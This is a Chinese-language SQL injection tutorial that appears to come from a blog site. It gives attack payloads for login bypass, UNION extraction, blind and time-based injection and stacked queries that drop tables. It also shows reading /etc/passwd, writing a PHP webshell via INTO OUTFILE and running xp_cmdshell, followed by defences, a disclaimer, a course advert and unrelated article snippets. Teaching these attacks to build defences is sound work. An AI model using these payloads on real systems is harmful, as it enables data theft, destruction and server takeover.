news 2026/4/3 4:19:26

sql注入详解,看这篇就够了!

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
sql注入详解,看这篇就够了!

SQL注入详解

一、什么是SQL注入?

SQL注入(SQL Injection)是一种将恶意SQL代码插入到应用程序输入参数中的攻击技术,攻击成功后可以获取、篡改或删除数据库数据,甚至控制服务器。

二、攻击原理

-- 原始查询语句SELECT*FROMusersWHEREusername='[用户输入]'ANDpassword='[用户输入]'-- 攻击者输入:用户名:admin' -- 密码:任意值 -- 最终执行的SQL: SELECT * FROM users WHERE username = 'admin' --'ANDpassword='任意值'-- '--' 是SQL注释符,后续条件被忽略

三、常见攻击类型

1.基于错误的注入
' OR 1=1 -- -- 永真条件 'OR'1'='1
2.联合查询注入
' UNION SELECT username, password FROM users -- 'UNIONSELECT1,@@version-- -- 获取数据库版本
3.盲注
  • 布尔盲注:通过页面返回判断真假
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a'--
  • 时间盲注:通过延时判断
' AND IF(1=1,SLEEP(5),0) -- -- MySQL ';WAITFORDELAY'0:0:5'-- -- SQL Server
4.堆叠查询
'; DROP TABLE users; -- ';UPDATEusersSETpassword='hacked'WHEREid=1;--

四、危险操作示例

1.数据泄露
'UNIONSELECTnull,table_nameFROMinformation_schema.tables---- MySQL系统表:information_schema.tables-- 所有表信息information_schema.columns-- 所有列信息mysql.user-- 用户信息(MySQL)-- SQL Server:SELECTnameFROMmaster..sysdatabases-- 获取所有数据库
2.文件操作
-- MySQL读取文件:' UNION SELECT LOAD_FILE('/etc/passwd') -- -- MySQL写入文件(写webshell): SELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/shell.php'
3.命令执行
-- SQL Server(需xp_cmdshell启用):'; EXEC xp_cmdshell 'netuser'--

五、防御措施

1.参数化查询(预编译语句)
# ❌ 错误:字符串拼接query=f"SELECT * FROM users WHERE username = '{username}'"# ✅ 正确:参数化查询cursor.execute("SELECT * FROM users WHERE username = %s",(username,))
// Java PreparedStatementPreparedStatementstmt=conn.prepareStatement("SELECT * FROM users WHERE username = ? AND password = ?");stmt.setString(1,username);stmt.setString(2,password);
2.输入验证与过滤
// 白名单验证if(!preg_match('/^[a-zA-Z0-9_]+$/',$username)){die('Invalid username');}// 转义特殊字符(作为辅助措施)$username=mysqli_real_escape_string($conn,$username);
3.最小权限原则
-- 创建专用数据库用户CREATEUSER'webapp'@'localhost'IDENTIFIEDBY'strongpassword';GRANTSELECT,INSERTONmydb.*TO'webapp'@'localhost';-- 不要授予DROP、DELETE、FILE等权限
4.其他防御措施
  • 使用ORM框架(Hibernate、Entity Framework等)
  • 启用WAF(Web应用防火墙)
  • 错误信息处理:不返回详细数据库错误给用户
  • 定期安全扫描

六、检测工具

  1. 自动化工具

    • SQLMap(最常用)
    • Havij
    • SQLninja
  2. 手动检测步骤

    1. 寻找输入点(表单、URL参数、Cookie) 2. 测试特殊字符:' " ) ; -- 3. 尝试永真/永假条件 4. 判断注入类型和数据库类型 5. 获取数据库信息 6. 提取数据

七、实际案例

GET /product?id=1' AND 1=CONVERT(int, @@version)-- HTTP/1.1 -- 检测到SQL Server,进一步获取数据: GET /product?id=1' UNION SELECT name, password FROM users--

八、法律声明

⚠️重要提醒

  • SQL注入技术仅可用于授权的安全测试
  • 未经授权攻击他人系统是违法行为
  • 本文内容仅供学习防御之用

最佳实践总结

  1. 始终使用参数化查询
  2. 实施最小权限原则
  3. 对所有输入进行严格验证
  4. 定期更新和打补丁
  5. 进行安全代码审计
  6. 使用Web应用防火墙

记住:没有完全安全的系统,只有不断改进的安全实践。保持警惕,持续学习新的安全技术是防御SQL注入的关键。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。****(全套教程文末领取哈)

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!****(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

👉5.黑客必读书单👈

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

**读者福利 |**CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享**(安全链接,放心点击)**

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/27 15:40:47

接口自动化测试一点总结

想要在软件测试这个行业继续前行&#xff0c;就必须拥有核心竞争力&#xff0c;掌握自动化测试技术&#xff0c;是必不可少的一个技能。 在《Google软件测试之道》一书中有介绍到&#xff1a;在Google&#xff0c;70%的自动化测试工作集中于单元测试&#xff0c;20%集中于接口…

作者头像 李华
网站建设 2026/3/27 17:55:34

马可波罗 item_get - 获取商品详情接口对接全攻略:从入门到精通

马可波罗 item_get 接口&#xff08;官方标准命名 mkb.item.get&#xff09;是面向工业品、原材料、机电设备、五金工具等 B 端批发交易场景的核心详情接口&#xff0c;通过商品唯一标识 product_id 可获取商品全维度结构化数据&#xff0c;覆盖基础属性、技术参数、供应能力、…

作者头像 李华
网站建设 2026/3/27 12:46:15

pcre-8.44-2.ky10.x86_64.rpm 安装步骤详解(Kylin V10版)

1. 准备好 rpm 文件 安装包下载&#xff1a;https://pan.quark.cn/s/700d0ef036da &#xff0c;先确定你已经有 pcre-8.44-2.ky10.x86_64.rpm这个文件&#xff0c;知道它放在哪儿&#xff0c;比如 /home/你的用户名/下载或者 /tmp。 2. 打开终端 用 Ctrl Alt T&#xff08;…

作者头像 李华
网站建设 2026/3/27 10:24:28

WordPress Bricks Builder 远程代码执行漏洞剖析:CVE-2024–25600

CVE-2024–25600&#xff1a;WordPress Bricks Builder 远程代码执行漏洞 - $$$$ 赏金 概述&#xff1a; CVE-2024–25600漏洞是WordPress Bricks Builder插件中的一个高危缺陷&#xff0c;于2024年2月26日披露。它允许未经身份验证的远程代码执行&#xff08;RCE&#xff09;&…

作者头像 李华
网站建设 2026/4/1 14:27:45

单北斗GNSS变形监测系统在水库安全监测中的应用与发展

本文将深入探讨单北斗GNSS变形监测系统在水库安全监测中的重要性和应用场景。我们会介绍该系统的工作原理&#xff0c;解释如何通过北斗卫星信号进行实时监测。此外&#xff0c;文章还会分析市场上单北斗GNSS变形监测产品的价格范围以及如何选择适合的设备。维护方面&#xff0…

作者头像 李华